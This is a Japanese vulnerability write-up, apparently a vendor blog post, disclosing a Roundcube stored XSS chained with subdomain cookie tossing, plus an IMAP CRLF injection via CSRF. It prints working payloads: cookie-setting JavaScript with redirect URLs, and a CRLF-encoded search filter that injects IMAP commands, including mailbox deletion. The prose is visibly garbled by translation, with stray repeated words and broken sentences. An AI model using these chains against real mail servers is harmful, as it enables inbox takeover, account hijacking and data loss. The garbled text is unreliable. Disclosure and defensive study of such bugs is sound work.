Roundcubeは、世界で最も広く導入されているオープンソースのウェブメールクライアントです。最近、脆弱性 危険脆弱性 発見されました!これは「保存型XSS」と呼ばれるもので、クッキー転送の手法と組み合わせることで、攻撃者は被害者の受信箱に完全なアクセス権を得ることができ、そこから、そのメールアドレスを認証やパスワード再設定に使用しているあらゆるアカウントにアクセスできるようになります。
この事実は、ローカルのRoundcubeインスタンスに対して当社のAIペネトレーションテストエージェントを実行したことで判明しました。すべての発見事項は、HackerOneを通じてRoundcubeのメンテナンスを担当するNextcloudに責任を持って報告され(XSSの報告番号:#3594137)、バージョン1.6.14で修正されました。
この記事では、私たちが実施した内容、エージェントがどのように脆弱性発見したか、そして単純なHTMLインジェクションがどのようにしてユーザーの受信箱を完全に乗っ取ることができたのかについて解説します。
注入点
あらゆる攻撃には始まりがあります。ここでは、当社のエージェントが監査のために捕捉した事例を1つ見てみましょう。
Roundcubeでは、ユーザーが制御するコンテンツをいくつかの異なる方法で処理しています。中でも、メール本文は最も厳重にチェックされる部分です。これらはアプリケーションの他の部分と並行して表示されるため、徹底的にサニタイズされます。
HTML添付ファイルは、mail/get.php内の別のエンドポイントを通じてレンダリングされ、JavaScriptの実行をブロックするためにContent Security Policyがscript-src 'none'に設定されています。
3つ目の、より目立たないエンドポイントは、まだ送信されていないインライン添付ファイルを処理するもので、メール作成中に一時的に表示することができます。今回取り上げるのはこのエンドポイントです。display-attachmentアクションは、この種のリクエストを処理します:
class rcmail_action_mail_attachment_display extends rcmail_action_mail_attachment_upload {
...
public function run($args = []) {
self::init();
$rcmail = rcmail::get_instance();
$file = $rcmail->get_uploaded_file(self::$file_id);
self::display_uploaded_file($file);
この関数 self::display_uploaded_file() まさにここで魔法が起きる。 rcube_uploads.php 前述の通り、この種の添付ファイルは、元のコンテンツタイプと本文のまま直接返され、サニタイズやサンドボックス化が行われず、コンテンツセキュリティポリシーも適用されません。
header('Content-Type: ' . $file['mimetype']);
header('Content-Length: ' . $file['size']);
if (isset($file['data']) && is_string($file['data'])) {
echo $file['data'];
} elseif (!empty($file['path'])) {
readfile($file['path']);
}
「どうやってこのエンドポイントに到達するのか?」と疑問に思うかもしれません。Roundcube内で新しいメールを作成する際、一時的なメールにファイル、具体的にはHTMLファイルを添付することができます。そこに悪意のあるコンテンツを仕込んでみましょう:
<script>alert(origin)</script>
アップロード後、添付ファイルをクリックすると、強力なCSPによって保護された「get」アクションを使用してファイルをレンダリングするポップアップが開きます。これが安全な処理の流れです。興味深いのは、もし swap _action=get を _action=ファイルを表示:

この表示の元のURLは次のとおりです:
/?_task=mail&_frame=1&_file=rcmfile21774532162043767100&_id=193102765369c53621200f8&_action=get&_extwin=1交換 _action=get を _action=ファイルを表示 そして、不要なパラメータをいくつか削除すると、次のようになります:
/?_task=mail&_file=rcmfile21774532162043767100&_id=193102765369c53621200f8&_action=display-attachmentこのURLは、CSPなしで同じコンテンツを表示します!そのため、HTML内のJavaScriptが実行され、現在のオリジンが表示され、XSSが確認されます:

これは興味深いセルフXSSですが、果たして本当に問題なのでしょうか?現実的に考えて、一般ユーザーが自らXSSペイロードをアップロードし、この特殊な方法でそれを閲覧し続けるようなことはまずないでしょう……
見てみると attachment_upload.php…すると、あることに気づくでしょう。 compose_data_ 現在のユーザーに対してセッションキーを設定する必要があり、そのユーザーのみが添付ファイルを取得できます。
public static function init()
{
self::$COMPOSE_ID = rcube_utils::get_input_string('_id', rcube_utils::INPUT_GPC);
self::$COMPOSE = null;
self::$SESSION_KEY = 'compose_data_' . self::$COMPOSE_ID;
if (self::$COMPOSE_ID && !empty($_SESSION[self::$SESSION_KEY])) {
self::$COMPOSE = &$_SESSION[self::$SESSION_KEY];
}
if (!self::$COMPOSE) {
exit('Invalid session var!');これは現在のセッションにのみ紐づく一時的なアタッチメントであるため、先ほど見たような方法でペイロードを準備し、被害者に攻撃者のアカウントにログインさせてそれをトリガーさせることはできません。 Mailcow. 攻撃者のすべての roundcube_sessid クッキーを被害者の端末にコピーする必要がある。これもまた、不可能に思える作業だ。
Cookie Tossingを利用したSelf-XSSの悪用
私たちが発見したこのセルフXSSは、一見すると悪用不可能に見える。添付ファイルはセッションに紐づいているため、攻撃者のセッションCookieも被害者に渡さずに、被害者向けのペイロードを準備する方法はない。しかし、実はまだ問題は終わっていない。そこで「Cookieトス」の出番となる。
ブラウザにおけるクッキーにはいくつかの興味深い特徴がありますが、その一つが ドメイン=属性.
> 値として設定できるのは、現在のドメイン、またはそれより上位のドメインのみです(パブリックサフィックスの場合は除きます)。ドメインを設定すると、そのドメインおよびそのすべてのサブドメインでクッキーが利用可能になります。
Cookieは、現在のドメインだけでなく、親ドメインに対しても設定することができます。によって設定されたCookieは sub.example.com を用いて ドメイン=example.com 以下のすべてのサブドメインで利用可能になります example.com、次のようなものを含め other.example.com 設定とは全く関係のないものでした。この攻撃の種類は クッキー投げ…あるサブドメインがCookieを書き込み、別のサブドメインがそれを読み取る仕組みです。
つまり、エクスプロイト 脆弱性 エクスプロイト するために必要な脆弱性 サブドメインの管理 ターゲットとなるRoundcubeドメインと同じドメイン上にあります。そこから、次のような脆弱性 別のXSS脆弱性 xss.target.local 設定できます document.cookie クッキーを書き込むためのプロパティ ドメイン=target.local 属性。これらのクッキーが設定されると、被害者のブラウザはそれらを mail.target.local に送信し、そこで Roundcube は被害者のセッションではなく、攻撃者のセッションを読み込むことになる。
そのセッションには、悪意のあるHTMLファイルが添付され、実行されるのを待っている状態です。被害者をその添付ファイルのURLに誘導するだけで、Roundcubeのオリジン内でXSSペイロードがトリガーされ、被害者のブラウザ上で実行されます。これ以上の操作は一切必要ありません。
要約すると、攻撃者がエクスプロイト するために必要な手順は以下の通りです:
- 自分のアカウントにログインし、新しいメールを作成して、悪意のあるHTMLファイルを添付する
- 添付ファイルとクッキーを表示(レンダリング)するには、リンクをコピーしてください
- XSSの脆弱性があるサブドメインから、以下の方法でCookieの値を設定します
document.cookie~とともにドメイン=対象ドメインを指す属性。 - 被害者を添付ファイルのリンクにリダイレクトします。XSSはRoundcubeの送信元で発動します。
以下は、サブドメインXSSペイロードの実例です。セッションCookieを設定し、被害者を添付ファイルのURLにリダイレクトしています。
document.cookie='roundcube_sessid=1798cbb4c1d7c7f9ca26069b52aac1aa; Domain=target.local'
document.cookie='roundcube_sessauth=GfNmiyX5brPm4l814QUx62l5gsJKBXfU-1773063000; Domain=target.local'
location.href = 'http://mail.target.local/?_task=mail&_action=display-attachment&_id=183727919869aecb6499f76&_file=rcmfile11773063013009066400';サブドメインXSSが発生した後は、Roundcubeエクスプロイト 残りのプロセスにおいて、ユーザーによる追加の操作は一切エクスプロイト 。Roundcubeのセキュリティは、現在、同一サイトのすべてのサブドメインに依存しています。

すべての機能を利用可能
上のスクリーンショットの警告ポップアップは、Roundcubeのオリジン上でXSSが実行されていることを示していますが、それだけでは実際の影響は明らかではありません。まだ問題が残っています。この時点で、攻撃者のセッションが被害者のブラウザに読み込まれているため、行われる操作はすべて被害者ではなく攻撃者のアカウントで行われることになります。ペイロードを配信するには理想的ですが、通常はアクセスできない情報にアクセスするにはあまり適していません。
ブラウザを見てみると、実際にはクッキーは保存されません 置き換えられた 別の設定を行うと ドメイン=. 両方とも送信されました!
Cookie: roundcube_sessauth=VICTIM; roundcube_sessauth=ATTACKER
両方のクッキーが存在する場合、ヘッダー内で最後に表示されるため、サーバーは攻撃者のクッキーを選択します。XSSペイロードでは攻撃者のクッキーが選択されるようにし、その後のすべてのエンドポイントでは被害者のクッキーが選択されるようにしたいところです。幸いなことに、クッキーにはこの問題を完璧に解決する別の属性があります: パス=.
次のような一意のパスを設定することで パス=/index.php/xss(これは依然としてホームページを指しているため、クッキーは) 送信されるのみ そのパスがリクエストのターゲットと一致する場合。したがって、今回のリクエストについては:
/index.php/xss送信するroundcube_sessauth=被害者; roundcube_sessauth=攻撃者-> 攻撃者のペイロードが返される- / 送信
roundcube_sessauth=VICTIM-> 被害者のメールが返送される
この新しい属性を設定エクスプロイト 、JavaScriptエクスプロイト を変更し、次のURLに移動するだけです。 /index.php/xss その後、攻撃者のCookieがペイロードのリクエストに確実に含まれるようにしますが、それさえ済めば、XSS攻撃によって被害者のアカウントに自由にアクセスできるようになります。
document.cookie='roundcube_sessid=1798cbb4c1d7c7f9ca26069b52aac1aa; Domain=target.local; Path=/index.php/xss'
document.cookie='roundcube_sessauth=GfNmiyX5brPm4l814QUx62l5gsJKBXfU-1773063000; Domain=target.local; Path=/index.php/xss'
location.href = 'http://mail.target.local/index.php/xss?_task=mail&_action=display-attachment&_id=183727919869aecb6499f76&_file=rcmfile11773063013009066400';DevTools では、重複する Cookie が現在どのように設定されているかを確認できます:

エクスプロイト するために必要な条件(Roundcube上のアカウント+サブドメインXSS)は少々複雑ですが、エクスプロイト 成功した場合の影響はエクスプロイト 。
多くのウェブサイトがログインやパスワードの再設定に「確認用リンク」を利用しているため、電子メールは最も広く信頼されている認証手段となっています。攻撃者があなたのメールアカウントにアクセスすると、そのメールアドレスが登録されているすべてのウェブサイトで、このようなパスワード再設定手続きを実行できてしまいます。そして、各サービスから送信される確認メールを読み取ることで、さらに多くのアカウントへのアクセス権を掌握することが可能になります。
対策
Roundcubeをバージョン1.6.14以降(1.6.x)または1.5.14以降(1.5.x LTS)に更新してください。報告されたすべての脆弱性は、このリリースで修正されています。もし Aikidoをご利用の場合、脆弱性のある Roundcube インスタンスは、サーフェスモニタリングフィード内で自動的に「中程度の深刻度」としてフラグが立てられます。

オフ Aikido まだ登録していませんか?無料アカウントを作成して始めましょう。クレジットカードは不要です。
まとめ
一見すると単純な脆弱性のように見えますが、これを悪用するには、Cookieやセッションに関するもう少し詳しい知識が必要でした。同じサイトのサブドメインは、完全に独立したウェブサイトよりもブラウザから若干高い権限を与えられることが多いため、すべての資産のセキュリティを確保すべきもう一つの理由となります。
これは困難な作業ですが、ここで示したように、Aikido ペンテスト 自律的にペンテスト 、インフラストラクチャ全体にわたってこうした脆弱性を発見することができます。
Roundcubeのメンテナンス担当者 この脆弱性修正しました バージョン 1.6.14 で、以下の機能を追加しました script-src 'none' コンテンツセキュリティポリシー(CSP)は、他の添付ファイルと同様に既に適用されていました。これにより、任意のHTMLを返す際にJavaScriptが実行されることはなくなります。
おまけ:CSRFを介したIMAP CRLFインジェクション
同じペンテスト実施中、別の担当者が、私たちが特に興味深い脆弱性 発見しました。これを報告したところ、Martilaセキュリティ調査チームも発見していた重複した脆弱性であることが判明しました。とはいえ、脆弱性 十分に興味深いものだと考え、脆弱性 その詳細について簡単に説明したいと思います。
会社情報 /?_task=mail&_action=search エンドポイントはクライアントから提供された _filter パラメータをIMAPに直接渡す 検索 コマンドで rcube_imap_generic.php:
if (!empty($criteria)) {
$params .= ($params ? ' ' : '') . $criteria;
} else {
$params .= 'ALL';
}
[$code, $response] = $this->execute($return_uid ? 'UID SEARCH' : 'SEARCH', [$params]);この関数はコマンドと引数を分離しているように見えますが、 実施 の execute() 単にそれらを結合するだけで、サニタイズは行いません:
foreach ($arguments as $arg) {
$query .= ' ' . self::r_implode($arg);
}
キャリッジリターンとラインフィード(CRLF)を挿入することで、 %0D%0A) 文字を使用することで、攻撃者は SEARCH パラメータの制限を突破し、認証済みユーザーの IMAP セッション内に追加の IMAP コマンドを注入することが可能になります。
これにより、メールの検索だけでなく、フォルダの追加、メールの移動、受信トレイ全体の削除なども行えます。これらはすべてIMAPの標準コマンドだからです。
以下は、次のように設定されたフィルタの例です。 ALL%0D%0AX007%20CREATE%20EvilFolder:
このページにアクセスすると、検索後に実行されるCREATEコマンドが挿入された以下のデータがIMAPに送信されます:
X006 すべて検索
X007 EvilFolderの作成この変更による効果は、RoundcubeのUIで確認できます:

これは単純なGETリクエストであるため、上記のリンクにアクセスするだけでコマンドが実行されます。これにより、リンクを1回クリックするだけで、すべてのメールが完全に削除されてしまう可能性があります(X001 UID STORE 1:* フラグ \削除済み 続いて X002 削除)、その結果、大量のデータが失われた。
この脆弱性は脆弱性 修正済み ~を取り除くことで \r\n 検索クエリに含まれる文字。

